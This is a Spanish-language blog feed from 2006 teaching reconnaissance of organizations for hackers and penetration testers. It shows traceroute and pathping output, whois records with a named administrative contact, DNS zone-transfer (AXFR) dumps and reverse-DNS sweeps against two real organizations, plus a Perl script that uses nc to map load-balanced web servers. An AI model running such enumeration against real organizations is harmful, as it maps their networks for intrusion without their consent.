<p style="text-align: justify;">Para identificar diferentes proveedores de servicios para enlaces redundantes podemos trazar las rutas de los paquetes tanto por TCP, UDP como ICMP.</p>
<p style="text-align: justify;">Las  trazas de los paquetes también debemos hacerlas desde diferente partes del  mundo para esto podemos ir a la pagina <a href="http://www.traceroute.org/">http://www.traceroute.org/</a> .</p>
<p style="text-align: justify;">El siguiente es una trace  de puerto 53 UDP con traceroute</p>
<p style="text-align: justify;"><em># traceroute -p 53 -v  -n 4.2.2.2 -p 1<br />
traceroute to 4.2.2.2  (4.2.2.2), 30 hops max, 38 byte packets<br />
1   192.168.244.1 36 bytes to 192.168.244.121  14.416 ms   7.792 ms  3.866 ms<br />
2   192.168.244.20 46 bytes to 192.168.244.121  2.578 ms   3.484 ms  5.509 ms<br />
3   200.36. bytes to 192.168.244.121   3.777 ms  3.717 ms  7.381 ms<br />
4   200.36.  bytes to  192.168.244.121  8.536 ms  5.027 ms   5.316 ms<br />
5   200.38.  bytes to 192.168.244.121  36.470 ms   31.229 ms  16.789 ms<br />
6   201.125.72.210 36 bytes to 192.168.244.121  19.668 ms   33.953 ms *<br />
7   200.38.132.85 36 bytes to 192.168.244.121  67.067 ms   75.708 ms  131.794 ms<br />
8   12.119.9.13 36 bytes to 192.168.244.121   69.091 ms  88.645 ms  117.376 ms<br />
9   12.123.222.102 148 bytes to 192.168.244.121  90.758 ms   86.053 ms  88.856 ms<br />
10  12.123.222.29 36 bytes to  192.168.244.121  61.226 ms  155.555 ms   66.113 ms<br />
11  4.68.111.189 36 bytes to  192.168.244.121  68.052 ms *  104.762 ms<br />
12  4.68.102.135 36 bytes to 192.168.244.121  130.495 ms   155.040 ms  139.991 ms<br />
13  4.2.2.2 46 bytes to 192.168.244.121  44.472 ms   89.933 ms  156.602 ms</em></p>
<p style="text-align: justify;">El siguiente es una trace  de puerto 53 TCP con tctrace</p>
<p style="text-align: justify;"><em># tctrace -i eth0 -d  4.2.2.2 -p 53<br />
1(2)   [192.168.244.1]<br />
2(1)    [192.168.244.20]<br />
3(1)    [200.36.]<br />
4(1)    [200.36.]<br />
5(1)    [200.38.]<br />
6(1)    [201.125.72.210]<br />
7(1)    [200.38.132.85]<br />
8(1)    [12.119.9.13]<br />
9(1)    [12.123.222.102]<br />
10(1)   [12.123.222.29]<br />
11(1)   [4.68.111.189]<br />
12(1)   [4.68.102.7]<br />
13(1)   [4.2.2.2] (reached; closed)</em></p>
<p style="text-align: justify;">Si comparamos los saltos hasta el 11 podemos ver que son iguales, después del equipo 4.68.11.189 siguen por diferentes caminos.</p>
<p style="text-align: justify;">Enviando paquetes ICMP  para ver estadísticas podemos reconocer otra ruta diferente:</p>
<p style="text-align: justify;"><em>C:Documents and Settingsdarkslaker&gt;pathping  4.2.2.2</em></p>
<p style="text-align: justify;"><em>Tracing route to  vnsc-bak.sys.gtei.net [4.2.2.2] over a maximum of 30 hops:<br />
0  narc [192.168.244.120]<br />
1   192.168.244.1<br />
2   192.168.244.20<br />
3   200.36.<br />
4   200.36.<br />
5  200.38.<br />
6   201.125.72.210<br />
7 200.38.132.85<br />
8  12.119.9.13<br />
9  12.123.222.102<br />
10  12.123.222.29<br />
11   4.68.111.189<br />
12   4.68.102.71<br />
13  4.2.2.2</em></p>
<p style="text-align: justify;">
<p style="text-align: justify;"><em>Computing statistics  for 325 seconds&#8230;<br />
Source to Here   This Node/Link<br />
Hop  RTT     Lost/Sent = Pct  Lost/Sent =  Pct  Address<br />
0                                            narc  [192.168.244.120]<br />
1/ 100 =  1%   |<br />
1     9ms     6/ 100 =  6%      5/ 100 =  5%  192.168.244.1<br />
0/ 100 =  0%   |<br />
2    14ms     7/ 100 =  7%      6/ 100 =  6%  192.168.244.20<br />
0/ 100 =  0%   |<br />
3    13ms     1/ 100 =  1%      0/ 100 =  0%  200.36.<br />
0/ 100 =  0%   |<br />
4    11ms     8/ 100 =  8%     7/ 100 =   7%  200.36.<br />
0/ 100 =  0%   |<br />
5   &#8212;     100/ 100 =100%    99/ 100 = 99%  200.38.193.226<br />
0/ 100 =  0%   |<br />
6   &#8212;     100/ 100 =100%    99/ 100 = 99%  201.125.72.210<br />
0/ 100 =  0%   |<br />
7   &#8212;     100/ 100 =100%    99/ 100 = 99%  200.38.132.85<br />
0/ 100 =  0%   |<br />
8   107ms     3/ 100 =  3%      2/ 100 =  2%  12.119.9.13<br />
0/ 100 =  0%   |<br />
9   &#8212;     100/ 100 =100%    99/ 100 = 99%  12.123.222.102<br />
0/ 100 =  0%   |<br />
10   &#8212;     100/ 100 =100%    99/ 100 = 99%  12.123.222.29<br />
0/ 100 =  0%   |<br />
11   104ms     6/ 100 =  6%      5/ 100 =  5%  4.68.111.189<br />
0/ 100 =  0%   |<br />
12   111ms     6/ 100 =  6%      5/ 100 =  5%  4.68.102.71<br />
0/ 100 =  0%   |<br />
13   119ms     1/ 100 =  1%      0/ 100 =  0%  4.2.2.2</em></p>
<p style="text-align: justify;"><em>Trace  complete.</em></p>
<p style="text-align: justify;">Se  identifico en el salto 12 un nuevo equipo.</p>
<p style="text-align: justify;">El identificar y seguir los caminos que nuestros paquetes tienen que viajar hasta llegar a su destino nos brinda mucha información valiosa. Por lo que es importante siempre verificar los caminos de paquetes TCP, UDP e ICMP.</p>
<p style="text-align: justify;">Existen también algunas otras cosas que podemos verificar para realizar un mapa mas completo de la tecnología que usa una organización, por ejemplo, se pueden intentar técnicas de rebote de correo electrónico, que consisten en enviar un correo electrónico a un destinatario que no existe y con la respuesta automática del sistema se puede encontrar información como el tipo de servidor de SMTP y la versión del software antivirus etc.</p>
<p style="text-align: justify;">Para identificar si un equipo se encuentra detrás de un loadbalancer (balanceador de carga) en aplicaciones Web, podemos usar el siguiente script:</p>
<p style="text-align: justify;">#!/usr/bin/perl<br />
# Enumerate web servers behind a load balancer<br />
# 20020125 Mike Shema<br />
$url = &#8220;/scripts&#8221;;<br />
$n = 10;<br />
if ($#ARGV    print &#8220;Usage: $0  [URL] [repetitions]n&#8221;;<br />
exit;<br />
}<br />
$host = $ARGV[0];<br />
$url = $ARGV[1] if ($ARGV[1]);<br />
$n = $ARGV[2] if ($ARGV[2] !~ /D+/);<br />
$cmd = &#8220;echo -e &#8220;GET $url HTTP/1.0nn&#8221; | nc $host  80&#8243;;<br />
for($i=0; $i    $res = `$cmd`;<br />
$res =~ /(.*http://)(.*)(/w+)/g;<br />
print &#8220;$2n&#8221; if ($2);<br />
}</p>
<p style="text-align: justify;"><em># perl load_balancer.pl www.microsoft.com /mexico  5<br />
207.46.19.30<br />
207.46.225.60<br />
207.46.198.60<br />
207.46.20.30<br />
207.46.20.60</em></p>
<p style="text-align: justify;">Simplemente  necesitamos conocer un directorio del portal, para utilizar este script. </p>
<p style="text-align: justify;">El reto de seguir el rastro a una organización es muy grande y esta fue simplemente una pequeña mirada a lo que se puede realizar. Ahora depende de cada persona; su <em>feeling </em>y su experiencia le permitirán obtener diferentes datos o encontrar maneras  más óptimas y refinadas de búsqueda.</p>
<p style="text-align: justify;">Cualquier  comentario favor de hacérmelo llegar:</p>
<p style="text-align: justify;">rienzi@nimrod.com.mx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/12/seguir-el-rastro-a-las-organizaciones-parte-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Siguiendo el rastro a las organizaciones: parte 2</title>
		<link>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/</link>
		<comments>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/#comments</comments>
		<pubDate>Tue, 05 Dec 2006 03:11:28 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PT]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=44</guid>
		<description><![CDATA[Siguiendo el rastro a las organizaciones: Por darkslaker. Continuación… Nombres de Dominio de la organización: Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos: Nombres de dominio de la organización. Bloques de red y direccionamiento IP [...]]]></description>
			<content:encoded><![CDATA[<p>Siguiendo el rastro a las organizaciones:<br />
 <strong>Por darkslaker.</strong><br />
 <strong>Continuación…</strong></p>
<p><strong>Nombres de Dominio de la organización:</strong><br />
Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos:</p>
<ul>
<li>Nombres de dominio de la organización.</li>
<li>Bloques de red y direccionamiento IP de la  organización.</li>
<li>Proveedores de servicio de Internet de la  organización.</li>
</ul>
<p><span id="more-44"></span>A continuación se muestran algunas maneras de  localizar dicha información.<br />
Primeramente es importante mencionar que el ICANN es responsable de la coordinación y de la administración de los elementos técnicos de DNS’s para garantizar una resolución unívoca de los nombres, de manera que los usuarios de Internet puedan encontrar todas las direcciones válidas. Para ello, se encarga de supervisar la distribución de los identificadores técnicos únicos usados en las operaciones de Internet, y delegar los nombres de dominios de primer nivel (como .com, .info, etc.).<br />
ICANN se encarga de administrar los nombres de dominio y direccionamiento IP mediante organizaciones alrededor de mundo. Las siguientes ligas corresponden a la representación de ICANN por regiones:</p>
<ul>
<li>Europa y África <a href="http://www.ripe.net/">http://www.ripe.net</a></li>
<li>Norte y Sur América <a href="http://www.arin.net/">http://www.arin.net</a></li>
<li>Asia Pacifico <a href="http://www.apnic.net/">http://www.apnic.net</a></li>
<li><a href="http://www.ripe.net/">http://www.ripe.net</a></li>
</ul>
<p>Ahora debemos buscar  todos los dominios y subdominios que podamos encontrar. Podemos buscar tanto en <em>Google</em> como en la base de datos de <strong><em>whois</em></strong> para localizar los dominios así como el servidor de nombres al que esta  asociado.</p>
<p>Lo primero que podemos hacer es identificar el responsable del dominio y su servidor de nombres asociado, esto nos sirve para comenzar a identificar segmentos de red, proveedores de servicios externos, redundancia en equipos, etc.</p>
<p>Desde una Terminal  de un sistema *NIX podemos ejecutar la siguiente búsqueda:</p>
<p>slax  ~ # whois itam.mx</p>
<p>DOMINIO:                      itam.mx</p>
<p>FECHA  DE CREACION:            02-JAN-95<br />
FECHA  DE ULTIMA MODIFICACION: 05-JAN-05</p>
<p>ORGANIZACION:                 ITAM [itam1]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  ADMINISTRATIVO:      Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  TECNICO:             Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  DE PAGO:             Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>SERVIDOR  PRIMARIO:            turing2.itam.mx<br />
IP  PRIMARIO:                  148.205.228.11</p>
<p>SERVIDOR  SECUNDARIO:          remo.itam.mx<br />
IP  SECUNDARIO:                148.205.228.17</p>
<p>SERVIDOR  SECUNDARIO:          name.roc.gblx.net</p>
<p>SERVIDOR  SECUNDARIO:          name.phx.gblx.net</p>
<p>Con la  información obtenida en el ejemplo anterior, podemos apreciar lo siguiente:</p>
<ul>
<li>Nombre del contacto.</li>
<li>Fecha de creación de dominio.</li>
<li>DNS, de los cuales 2 son administrados por la       organización y 2 por externos.</li>
</ul>
<p>Cuando ya contamos con los servidores DNS de la organización podemos realizar peticiones directas a los mismos. A continuación muestro las diferentes tipos de consultas que podemos realizar:</p>
<ul>
<li>SOA (State of authority)- Muestra quien es el       servidor DNS primario.</li>
<li>NS (Name Server) Muestra quienes son los       servidores DNS de un dominio.</li>
<li>MX (Mail Exchanger) Muestra quien se encarga de       entregar correo para un dominio.</li>
<li>ANY (Any Query) Busca cualquier registro       contenido en la zona.</li>
<li>TXT (Text Query) Busca registros de texto.</li>
<li>AXFR- (Zone transfer) Trae todos los registros       almacenados en una zona DNS.</li>
<li>A (Address). Muestra el registro para traducir       nombre de host a direcciones IP.</li>
<li>CNAME (Canonical Name). Se usa para crear nombres       de hosts adicionales, o alias, para los hosts de un dominio.</li>
</ul>
<p>Existen dos  consultas claves que debemos realizar siempre, la ANY y la AXFR. Es importante mencionar que no todos los servidores DNS permiten búsquedas del tipo AXFR ya que es considerada una mala practica, este tipo de búsquedas deben ser restringidas solamente entre un servidor primario y uno secundario. ¿Que herramientas nos permiten realizar estas búsquedas?</p>
<ul>
<li>SamSpace</li>
<li>Dig</li>
<li>Host</li>
<li>Nslookup</li>
<li>Dsnwalk</li>
<li>Etc.</li>
</ul>
<p>En este  caso utilizaremos <strong>dig</strong> para realizar  las búsquedas.</p>
<p>- La búsqueda <strong><em>any </em></strong>nos permite conocer todos los equipos NS,MX,SOA, A de un dominio:</p>
<p>slax ~ # dig any  @148.205.228.11 itam.mx</p>
<p>; &lt;&lt;&gt;&gt; DiG  9.3.1 &lt;&lt;&gt;&gt; any @148.205.228.11 itam.mx<br />
; (1 server found)<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt;&lt;-  opcode: QUERY, status: NOERROR, id: 59063<br />
;; flags: qr aa rd ra;  QUERY: 1, ANSWER: 18, AUTHORITY: 0, ADDITIONAL: 7</p>
<p>;; QUESTION SECTION:<br />
;itam.mx.                       IN      ANY</p>
<p>;; ANSWER SECTION:<br />
itam.mx.                600     IN       A       148.205.228.219<br />
itam.mx.                3600    IN       A       148.205.148.5<br />
itam.mx.                600     IN       A       148.205.36.229<br />
itam.mx.                600     IN       A       148.205.133.22<br />
itam.mx.                600     IN       A       148.205.228.17<br />
itam.mx.                600     IN       A       148.205.52.10<br />
itam.mx.                600     IN       A       148.205.228.11<br />
itam.mx.                600     IN       A       148.205.40.4<br />
itam.mx.                600     IN       A       148.205.40.11<br />
itam.mx.                600     IN       A       148.205.228.27<br />
itam.mx.                3600    IN       NS      artemisa2.itam.mx.<br />
itam.mx.                3600    IN       NS      turing2.itam.mx.<br />
itam.mx.                3600    IN       NS      remo.itam.mx.<br />
itam.mx.                3600    IN       NS      name.phx.gblx.net.<br />
itam.mx.                3600    IN       NS      name.roc.gblx.net.<br />
itam.mx.                3600    IN       SOA     turing2.itam.mx.  uciel.itam.mx. 2002068227 3600 600 1209600 3600<br />
itam.mx.                3600    IN       MX      10 stockton.itam.mx.<br />
itam.mx.                3600    IN       MX      10 malone.itam.mx.</p>
<p>;; ADDITIONAL SECTION:<br />
artemisa2.itam.mx.      3600     IN      A       148.205.40.11<br />
turing2.itam.mx.        3600     IN      A       148.205.228.11<br />
remo.itam.mx.           3600    IN       A       148.205.228.17<br />
name.phx.gblx.net.      39355    IN      A       206.165.6.10<br />
name.roc.gblx.net.      56775    IN      A       209.130.187.10<br />
stockton.itam.mx.       3600     IN      A       148.205.228.32<br />
malone.itam.mx.         3600     IN      A       148.205.228.6</p>
<p>;; Query time: 193 msec<br />
;; SERVER:  148.205.228.11#53(148.205.228.11)<br />
;; WHEN: Mon Aug  7 14:28:11 2006<br />
;;  MSG SIZE  rcvd: 506</p>
<p>- La búsqueda <strong><em>axfr</em></strong> es un poco diferente a la <strong><em>any</em></strong> ya que no permite hacer un intercambio de Zonas de transferencia. Esto quiere decir que nos enviara toda su zona con la cual podremos tener todos los nombres de los equipos registrados en el dominio.</p>
<p>slax  ~ # dig axfr @148.205.228.11 itam.mx</p>
<p>;  &lt;&lt;&gt;&gt; DiG 9.3.1 &lt;&lt;&gt;&gt; axfr @148.205.228.11 itam.mx<br />
; (1 server found)<br />
;; global options:  printcmd<br />
itam.mx.                3600    IN       SOA     turing2.itam.mx.  uciel.itam.mx. 2002068242 3600 600 1209600 3600<br />
itam.mx.                3600    IN       NS      artemisa2.itam.mx.<br />
itam.mx.                3600    IN       NS      turing2.itam.mx.<br />
itam.mx.                3600    IN       NS      remo.itam.mx.<br />
itam.mx.                3600    IN       NS      name.phx.gblx.net.<br />
itam.mx.                3600    IN       NS      name.roc.gblx.net.<br />
itam.mx.                3600    IN       MX      10 stockton.itam.mx.<br />
itam.mx.                3600    IN       MX      10 malone.itam.mx.<br />
0r3dac14d.itam.mx.      1200     IN      A       148.205.197.15<br />
eventos.itam.mx.        3600     IN      CNAME   ddip.itam.mx.<br />
www.eventos.itam.mx.    3600     IN      CNAME   ddip.itam.mx.<br />
exalumnos.itam.mx.      3600     IN      CNAME   ddip.itam.mx.<br />
www.exalumnos.itam.mx.  3600     IN      CNAME   ddip.itam.mx.<br />
exalumnos_conta.itam.mx.  3600   IN      CNAME    phobos.itam.mx.<br />
executivemba.itam.mx.   3600     IN      CNAME   phobos.itam.mx.<br />
www.executivemba.itam.mx.  3600  IN      CNAME    phobos.itam.mx.<br />
expo-itam.itam.mx.      1200     IN      A       148.205.220.21<br />
extension.itam.mx.      3600     IN      CNAME   titan2.itam.mx.<br />
edit.extension.itam.mx.  3600    IN      CNAME    titan2.itam.mx.<br />
etc<br />
etc<br />
etc</p>
<p>Los resultados anteriores nos permiten determinar muchas cosas relativas al direccionamiento así como los subdominios de la organización de quien estamos recopilando información.</p>
<p>En el caso del dominio ITAM, se puede determinar que su bloque de red es 148.205.228.X  y además la identificación del tipo de nombres que utilizan para sus equipos.</p>
<p>Otra  forma es hacer la búsqueda es mediante google:</p>
<p><em>inurl:itam.mx</em></p>
<p><em><img class="alignnone size-medium wp-image-45" title="20061204172829289_1" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_1-255x300.jpg" alt="20061204172829289_1" width="255" height="300" /></em></p>
<p>La  búsqueda anterior nos permite conocer subdominios del itam.mx</p>
<p><strong>Bloques de red</strong></p>
<p>Con la información encontrada anteriormente ya es posible determinar los bloques de red que tiene una organización, y conocer si algunos servicios están <em>hosteados</em>.</p>
<p>Sigamos  el rastro del dominio iss.net</p>
<p>slax ~ # whois iss.net</p>
<p>Registrant:<br />
Internet Security  Systems, Inc.<br />
6303    Barfield Rd<br />
Atlanta,   GA 30328<br />
US</p>
<p>Domain Name: ISS.NET</p>
<p>Administrative Contact, Technical Contact:<br />
Internet Security Systems Inc.            iss-dnsadmin@ISS.NET<br />
6303    BARFIELD RD NE<br />
ATLANTA,   GA 30328-4233<br />
US<br />
(404) 236-2600 fax: (404) 236-2614</p>
<p>Record expires on 29-Jun-2012.<br />
Record created on 30-Jun-1994.<br />
Database last updated on 10-Aug-2006  12:17:24 EDT.</p>
<p>Domain servers in listed order:</p>
<p>EHECATL.ISS.NET              209.134.161.10<br />
SFLD-NS1.NETREX.COM         <a>207.231.129.132</a></p>
<p>Con la información anterior podemos determinar que el servidor primario de DNS es administrado por la organización. Ahora realizaremos una búsqueda ANY.</p>
<p>slax ~ # dig any  @209.134.161.10 iss.net</p>
<p>; &lt;&lt;&gt;&gt; DiG  9.3.1 &lt;&lt;&gt;&gt; any @209.134.161.10 iss.net<br />
; (1 server found)<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;;  -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65516<br />
;; flags: qr aa rd ra;  QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 5</p>
<p>;; QUESTION SECTION:<br />
;iss.net.                       IN      ANY</p>
<p>;; ANSWER SECTION:<br />
iss.net.                60      IN      SOA     ehecatl.iss.net. iss-dnsadmin.is                                                                              s.net. 2006080802 3600 1800 604800 3600<br />
iss.net.                60      IN       NS      sfld-ns1.netrex.com.<br />
iss.net.                60      IN       NS      ehecatl.iss.net.<br />
iss.net.                60      IN       MX      10 colo-mx1.iss.net.<br />
iss.net.                60      IN       MX      10 sfld-mx1.iss.net.<br />
iss.net.                60      IN       MX      5 atla-mx1.iss.net.<br />
iss.net.                60      IN       A       209.134.161.35</p>
<p>;; ADDITIONAL SECTION:<br />
ehecatl.iss.net.        60       IN      A       209.134.161.10<br />
sfld-ns1.netrex.com.    3600     IN      A       207.231.129.132<br />
atla-mx1.iss.net.       60       IN      A       209.134.161.6<br />
colo-mx1.iss.net.       60       IN      A       12.129.100.18<br />
sfld-mx1.iss.net.       60       IN      A       207.231.129.133</p>
<p>;; Query time: 353 msec<br />
;; SERVER:  209.134.161.10#53(209.134.161.10)<br />
;; WHEN: Mon Aug  7 15:55:37 2006<br />
;; MSG SIZE  rcvd: 300</p>
<p>De la información de la búsqueda podemos determinar que existen dos bloques diferentes de red que responden a equipos tipo A del dominio principal los cuales son:</p>
<ul>
<li>209.134.161.X</li>
<li>207.231.129.X</li>
</ul>
<p>Cada uno de ellos de diferentes ISP, con lo cual podemos comenzar a  realizar un mapa de la arquitectura de Red de la organización.</p>
<p>Lo que se hará a continuación es resolver cada unos de los equipos en los diferentes bloques de red, para de esta manera identificar los equipos de la organización.</p>
<p>¿Qué herramientas pueden ayudarnos a esto?</p>
<ul>
<li>Nmap</li>
<li>Host</li>
<li>Nslookup</li>
<li>Etc.</li>
</ul>
<p>Si deseamos realizar la tarea con <strong>nmap</strong>, el comando que se sugiere  utilizar es el siguiente:</p>
<p><em>‘nmap  -sL -P0 –dns-server  DNS Red –R’</em></p>
<p>&gt;&gt;nmap -sL  -P0  &#8211;dns-servers 209.134.161.10  209.134.161.1/24</p>
<p>Starting Nmap 4.01 (  http://www.insecure.org/nmap ) at 2006-12-04 16<br />
Failed to resolve given  hostname/IP: ûR.  Note that you can&#8217;t use  &#8216;/<br />
e IP ranges<br />
Host 209.134.161.0 not  scanned<br />
Host 209.134.161.1 not  scanned<br />
Host  atla-ngw5-a-ext.iss.net (209.134.161.2) not scanned<br />
Host atla-ngw5-b-ext.iss.net  (209.134.161.3) not scanned<br />
Host 209.134.161.4 not  scanned<br />
Host 209.134.161.5 not  scanned<br />
Host atla-mx1.iss.net  (209.134.161.6) not scanned<br />
Host lists.it-isac.org  (209.134.161.7) not scanned</p>
<p>También  es posible realizar la resolución de nombres utilizando <strong>‘host’</strong> y <strong>‘perl’</strong>:</p>
<p>perl -e &#8216;for  ($x=1;$x&lt;=254;$x++){system &#8220;host 209.134.161.$x 209.134.161.10&#8243;}&#8217;</p>
<p>Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>Host  1.161.134.209.in-addr.arpa not found: 3(NXDOMAIN)<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>2.161.134.209.in-addr.arpa  domain name pointer atla-ngw5-a-ext.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>3.161.134.209.in-addr.arpa  domain name pointer atla-ngw5-b-ext.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>6.161.134.209.in-addr.arpa  domain name pointer atla-mx1.iss.net.<br />
Using domain server:<br />
Name: 209.134.161.10<br />
Address:  209.134.161.10#53<br />
Aliases:</p>
<p>Realizando  la misma búsqueda sobre el otro servidor de dominio y el otro segmento de red  nos da el siguiente resultado:</p>
<p>perl -e &#8216;for  ($x=1;$x&lt;=254;$x++){system &#8220;host 207.231.129.$x 207.231.129.132&#8243;}&#8217;  | grep iss.net</p>
<p>5.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1a.iss.net.<br />
6.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1.iss.net.<br />
7.129.231.207.in-addr.arpa  domain name pointer sfld-ngw1b.iss.net.<br />
9.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw1.iss.net.<br />
11.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw1.mss.iss.net.<br />
12.129.231.207.in-addr.arpa  domain name pointer sfld-mss-fw2.mss.iss.net.<br />
18.129.231.207.in-addr.arpa  domain name pointer sfld-perim1.iss.net.<br />
19.129.231.207.in-addr.arpa  domain name pointer sfld-perim2.iss.net.<br />
24.129.231.207.in-addr.arpa  domain name pointer sfld-raw1.iss.net.<br />
25.129.231.207.in-addr.arpa  domain name pointer sfld-raw2.iss.net.<br />
68.129.231.207.in-addr.arpa  domain name pointer sfld-netrwww.mss.iss.net.129.231.207.in-addr.arpa.<br />
133.129.231.207.in-addr.arpa  domain name pointer sfld-mx1.iss.net.<br />
134.129.231.207.in-addr.arpa  domain name pointer sfld-mx2.iss.net.<br />
196.129.231.207.in-addr.arpa  domain name pointer soudom001.iss.net.<br />
197.129.231.207.in-addr.arpa  domain name pointer soumaiexcp01.iss.net.<br />
198.129.231.207.in-addr.arpa  domain name pointer soumaiwebp01.iss.net.<br />
199.129.231.207.in-addr.arpa  domain name pointer bkup-sfld01.iss.net.<br />
200.129.231.207.in-addr.arpa  domain name pointer soufil002.iss.net.<br />
201.129.231.207.in-addr.arpa  domain name pointer souprn001.iss.net.<br />
202.129.231.207.in-addr.arpa  domain name pointer soubacnbup01.iss.net.<br />
203.129.231.207.in-addr.arpa  domain name pointer sfld-rad2.iss.net.<br />
204.129.231.207.in-addr.arpa  domain name pointer sfld-remedy1.mss.iss.net.<br />
205.129.231.207.in-addr.arpa  domain name pointer sfld-fax1.iss.net.<br />
211.129.231.207.in-addr.arpa  domain name pointer sfld-ccur.iss.net.<br />
212.129.231.207.in-addr.arpa  domain name pointer soudom002.iss.net.<br />
213.129.231.207.in-addr.arpa  domain name pointer soumaipmfp01.iss.net.</p>
<p>De esta manera podemos identificar los segmentos de red de una organización así como los equipos que cuentan con un registro en el servidor de dominio.</p>
<p>Para  aquellas personas a las que no les guste trabajar en línea de comandos, <strong>BiDiBlAH</strong> de <strong>Sensepost </strong>es una herramienta que nos permite realizar estas búsquedas de manera automatizada. A continuación se muestran una serie de pantallas utilizando la herramienta mencionada anteriormente.</p>
<p><img class="alignnone size-medium wp-image-46" title="20061204172829289_3" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_3-300x221.jpg" alt="20061204172829289_3" width="300" height="221" /></p>
<p><img class="alignnone size-medium wp-image-47" title="20061204172829289_31" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_31-300x221.jpg" alt="20061204172829289_31" width="300" height="221" /></p>
<p>La información de nombres de dominio y bloques de red brinda a los hackers (o penetrations testers) mucha información para la creación de la arquitectura de red de la organización, además de que constituye el preámbulo para la detección de servicios públicos de la misma.</p>
<p>La siguiente parte del artículo, se enfocara a la detección ser servicios Públicos donde se trataran cosas desde nombres de host hasta escaneos de puertos, así como la obtención de versiones de servicios.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Siguiendo el rastro a las organizaciones.</title>
		<link>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/</link>
		<comments>http://www.nimrod.com.mx/2006/11/siguiendo-el-rastro-a-las-organizaciones/#comments</comments>
		<pubDate>Fri, 24 Nov 2006 03:24:21 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PT]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=60</guid>
		<description><![CDATA[Siguiendo el rastro a las organizaciones. Por Darkslaker En la vida cotidiana de hacker o un penetration tester la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Siguiendo el rastro a las organizaciones.</strong><br />
<strong>Por Darkslaker</strong></p>
<p style="text-align: justify;">En la vida cotidiana  de <em>hacker</em> o un <em>penetration tester</em> la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y la medición de los tiempos que tomaran los ataques. Esto nos da un perfil completo de las políticas de seguridad del objetivo a atacar. Seguir el rastro es, con frecuencia, la tarea mas ardua a la hora de determinar la filosofía de seguridad de una empresa, sin embargo, es una de las tareas más importantes.</p>
<p style="text-align: justify;">Entre la información  que debemos recolectar se encuentra:</p>
<ul style="text-align: justify;">
<li>Información descubierta en fuentes publicas.</li>
<li>Nombres de dominio.</li>
<li>Segmentos de red</li>
<li>Servicios públicos ofrecidos.</li>
<li>Arquitectura de los sistemas visibles.</li>
</ul>
<p style="text-align: justify;"><span id="more-60"></span>Aunque muchas técnicas de rastreo de información son muy parecidas resulta muy difícil dar una guía paso a paso para efectuar el seguimiento a esta información. El objetivo en este artículo es enumerar los pasos básicos que se pueden utilizar en la mayoría de los casos. Es importante mencionar que los pasos no son consecutivos, ni lineales, ni únicos; la información recabada en cada punto a tratar puede ser utilizada o necesaria para otros. No se darán ejemplos de todas las técnicas ni tipo de información buscada, pero si se dejaran las bases para dejar volar la imaginación y crear otros caminos.</p>
<p style="text-align: justify;">La mayoría de las pruebas o tareas a realizar son casi indetectables por los administradores de red ya que muchas son búsquedas de información sin tocar la infraestructura del objetivo. Es importante mencionar que algunas de las técnicas mostradas a continuación (como escaneos de puertos) son ilegales en muchas partes del mundo a menos que se cuente con permiso explicito de la organización.</p>
<p style="text-align: justify;">El articulo fue pensado para salir en una sola entrega pero por le tamaño del mismo sera liberado en diferentes articulos mas pequeños.</p>
<p style="text-align: justify;"><strong>Información descubierta en fuentes publicas ( Inteligencia competitiva).</strong></p>
